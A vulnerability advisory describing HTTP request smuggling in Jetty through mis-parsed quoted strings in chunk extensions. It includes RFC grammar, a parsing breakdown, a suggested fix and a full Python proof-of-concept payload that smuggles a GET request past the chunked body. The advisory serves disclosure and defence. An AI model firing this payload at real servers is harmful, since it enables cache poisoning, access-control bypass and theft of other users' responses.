Jetty has HTTP Request Smuggling via Chunked Extension Quoted-String Parsing
Description (as reported)
Jetty incorrectly parses quoted strings in HTTP/1.1 chunked transfer encoding extension values, enabling request smuggling attacks.
Background
This vulnerability is a new variant discovered while researching the "Funky Chunks" HTTP request smuggling techniques:
- https://w4ke.info/2025/06/18/funky-chunks.html
- https://w4ke.info/2025/10/29/funky-chunks-2.html
The original research tested various chunk extension parsing differentials but did not test quoted-string handling within extension values.
Technical Details
RFC 9112 Section 7.1.1 defines chunked transfer encoding:
```
chunk = chunk-size [ chunk-ext ] CRLF chunk-data CRLF
chunk-ext = *( BWS ";" BWS chunk-ext-name [ BWS "=" BWS chunk-ext-val ] )
chunk-ext-val = token / quoted-string
```
RFC 9110 Section 5.6.4 defines quoted-string:
```
quoted-string = DQUOTE *( qdtext / quoted-pair ) DQUOTE
```
A quoted-string continues until the closing DQUOTE, and \r\n sequences are not permitted within the quotes.
Vulnerability
Jetty terminates chunk header parsing at \r\n inside quoted strings instead of treating this as an error.
Expected (RFC compliant):
```
Chunk: 1;a="value\r\nhere"\r\n
^^^^^^^^^^^^^^^^^^ extension value
Body: [1 byte after the real \r\n]
```
Actual (jetty):
```
Chunk: 1;a="value
^^^^^ terminates here (WRONG)
Body: here"... treated as body/next request
```
Proof of Concept
```python
#!/usr/bin/env python3
import socket
payload = (
b"POST / HTTP/1.1\r\n"
b"Host: localhost\r\n"
b"Transfer-Encoding: chunked\r\n"
b"\r\n"
b'1;a="\r\n'
b"X\r\n"
b"0\r\n"
b"\r\n"
b"GET /smuggled HTTP/1.1\r\n"
b"Host: localhost\r\n"
b"Content-Length: 11\r\n"
b"\r\n"
b'"\r\n'
b"Y\r\n"
b"0\r\n"
b"\r\n"
)
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(3)
sock.connect(("127.0.0.1", 8080))
sock.sendall(payload)
response = b""
while True:
try:
chunk = sock.recv(4096)
if not chunk:
break
response += chunk
except socket.timeout:
break
sock.close()
print(f"Responses: {response.count(b'HTTP/')}")
print(response.decode(errors="replace"))
```
Result: Server returns 2 HTTP responses from a single TCP connection.
Parsing Breakdown
| Parser | Request 1 | Request 2 |
|--------|-----------|-----------|
| jetty (vulnerable) | POST / body="X" | GET /smuggled (SMUGGLED!) |
| RFC compliant | POST / body="Y" | (none - smuggled request hidden in extension) |
Impact
- Request Smuggling: Attacker injects arbitrary HTTP requests
- Cache Poisoning: Smuggled responses poison shared caches
- Access Control Bypass: Smuggled requests bypass frontend security
- Session Hijacking: Smuggled requests can steal other users' responses
Reproduction
1. Start the minimal POC with docker
2. Run the poc script provided in same zip
Suggested Fix
Ensure the chunk framing and extensions are parsed exactly as specified in RFC9112.
A CRLF inside a quoted-string should be considered a parsing error and not a line terminator.
Patches
No patches yet.
Workarounds
No workarounds yet.
References
- RFC 9110: HTTP Semantics (Sections 5.6.4, 7.1.1)
- Funky Chunks Research: https://w4ke.info/2025/06/18/funky-chunks.html
- details for security versions https://jetty.org/security.html
